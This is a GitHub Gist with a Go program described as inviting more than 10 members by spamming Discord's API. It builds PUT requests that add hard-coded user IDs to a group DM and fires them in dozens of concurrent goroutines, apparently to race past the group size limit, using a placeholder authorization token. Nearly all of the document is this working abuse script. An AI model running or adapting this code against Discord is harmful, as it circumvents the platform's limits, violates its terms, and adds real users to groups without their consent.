Skip to content

Instantly share code, notes, and snippets.

@SilverCory
Last active January 1, 2018 04:21
Show Gist options
  • Save SilverCory/5a4b4a37f18a9fa7c7aa868e768f5d79 to your computer and use it in GitHub Desktop.
Save SilverCory/5a4b4a37f18a9fa7c7aa868e768f5d79 to your computer and use it in GitHub Desktop.
Invite more than 10 members by spamming discord's api.
package main
import (
"fmt"
"io/ioutil"
"net/http"
"strconv"
"time"
)
func main() {
G := "397208169849290753"
req1 := createRequest(G, "81142055421620224")
req2 := createRequest(G, "311942134603448330")
req3 := createRequest(G, "155954930191040513")
req4 := createRequest(G, "105484726235607040")
req5 := createRequest(G, "237378015141691392")
req6 := createRequest(G, "303391020622544909")
req7 := createRequest(G, "130070621034905600")
req8 := createRequest(G, "93246891319377920")
req9 := createRequest(G, "80821761460928512")
req10 := createRequest(G, "170068244533608450")
req11 := createRequest(G, "296044494812479498")
req12 := createRequest(G, "129908908096487424")
go func() {
client := http.Client{}
resp, err := client.Do(req1)
processResponse(resp)
fmt.Println("REQ 1 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req2)
processResponse(resp)
fmt.Println("REQ 2 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req3)
processResponse(resp)
fmt.Println("REQ 3 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req4)
processResponse(resp)
fmt.Println("REQ 4 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req5)
processResponse(resp)
fmt.Println("REQ 5 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req6)
processResponse(resp)
fmt.Println("REQ 6 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req7)
processResponse(resp)
fmt.Println("REQ 7 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req8)
processResponse(resp)
fmt.Println("REQ 8 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req9)
processResponse(resp)
fmt.Println("REQ 9 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req10)
processResponse(resp)
fmt.Println("REQ 10 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req11)
processResponse(resp)
fmt.Println("REQ 11 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req12)
processResponse(resp)
fmt.Println("REQ 12 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req1)
processResponse(resp)
fmt.Println("REQ 1 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req9)
processResponse(resp)
fmt.Println("REQ 9 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req2)
processResponse(resp)
fmt.Println("REQ 2 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req3)
processResponse(resp)
fmt.Println("REQ 3 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req4)
processResponse(resp)
fmt.Println("REQ 4 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req5)
processResponse(resp)
fmt.Println("REQ 5 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req6)
processResponse(resp)
fmt.Println("REQ 6 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req7)
processResponse(resp)
fmt.Println("REQ 7 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req8)
processResponse(resp)
fmt.Println("REQ 8 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req10)
processResponse(resp)
fmt.Println("REQ 10 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req11)
processResponse(resp)
fmt.Println("REQ 11 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req12)
processResponse(resp)
fmt.Println("REQ 12 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req1)
processResponse(resp)
fmt.Println("REQ 1 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req2)
processResponse(resp)
fmt.Println("REQ 2 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req3)
processResponse(resp)
fmt.Println("REQ 3 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req8)
processResponse(resp)
fmt.Println("REQ 8 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req4)
processResponse(resp)
fmt.Println("REQ 4 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req5)
processResponse(resp)
fmt.Println("REQ 5 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req6)
processResponse(resp)
fmt.Println("REQ 6 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req7)
processResponse(resp)
fmt.Println("REQ 7 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req9)
processResponse(resp)
fmt.Println("REQ 9 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req10)
processResponse(resp)
fmt.Println("REQ 10 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req11)
processResponse(resp)
fmt.Println("REQ 11 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req12)
processResponse(resp)
fmt.Println("REQ 12 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req1)
processResponse(resp)
fmt.Println("REQ 1 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req2)
processResponse(resp)
fmt.Println("REQ 2 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req3)
processResponse(resp)
fmt.Println("REQ 3 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req4)
processResponse(resp)
fmt.Println("REQ 4 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req5)
processResponse(resp)
fmt.Println("REQ 5 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req6)
processResponse(resp)
fmt.Println("REQ 6 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req7)
processResponse(resp)
fmt.Println("REQ 7 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req8)
processResponse(resp)
fmt.Println("REQ 8 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req9)
processResponse(resp)
fmt.Println("REQ 9 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req10)
processResponse(resp)
fmt.Println("REQ 10 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req11)
processResponse(resp)
fmt.Println("REQ 11 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req12)
processResponse(resp)
fmt.Println("REQ 12 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req1)
processResponse(resp)
fmt.Println("REQ 1 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req2)
processResponse(resp)
fmt.Println("REQ 2 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req3)
processResponse(resp)
fmt.Println("REQ 3 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req4)
processResponse(resp)
fmt.Println("REQ 4 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req5)
processResponse(resp)
fmt.Println("REQ 5 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req6)
processResponse(resp)
fmt.Println("REQ 6 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req7)
processResponse(resp)
fmt.Println("REQ 7 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req8)
processResponse(resp)
fmt.Println("REQ 8 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req9)
processResponse(resp)
fmt.Println("REQ 9 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req10)
processResponse(resp)
fmt.Println("REQ 10 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req11)
processResponse(resp)
fmt.Println("REQ 11 DONE", err)
}()
go func() {
client := http.Client{}
resp, err := client.Do(req12)
processResponse(resp)
fmt.Println("REQ 12 DONE", err)
}()
time.Sleep(time.Second * 1)
}
func createRequest(groupId string, userId string) *http.Request {
ret, err := http.NewRequest("PUT", "https://discordapp.com/api/v6/channels/"+groupId+"/recipients/"+userId, nil)
if err != nil {
panic(err)
}
addHeaders(ret)
return ret
}
func processResponse(resp *http.Response) {
data, _ := ioutil.ReadAll(resp.Body)
fmt.Println(string(data))
fmt.Println(resp.Status + " -- " + strconv.Itoa(resp.StatusCode))
}
func addHeaders(r *http.Request) {
r.Header.Add("Authorization", "// TOKEN BRO")
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment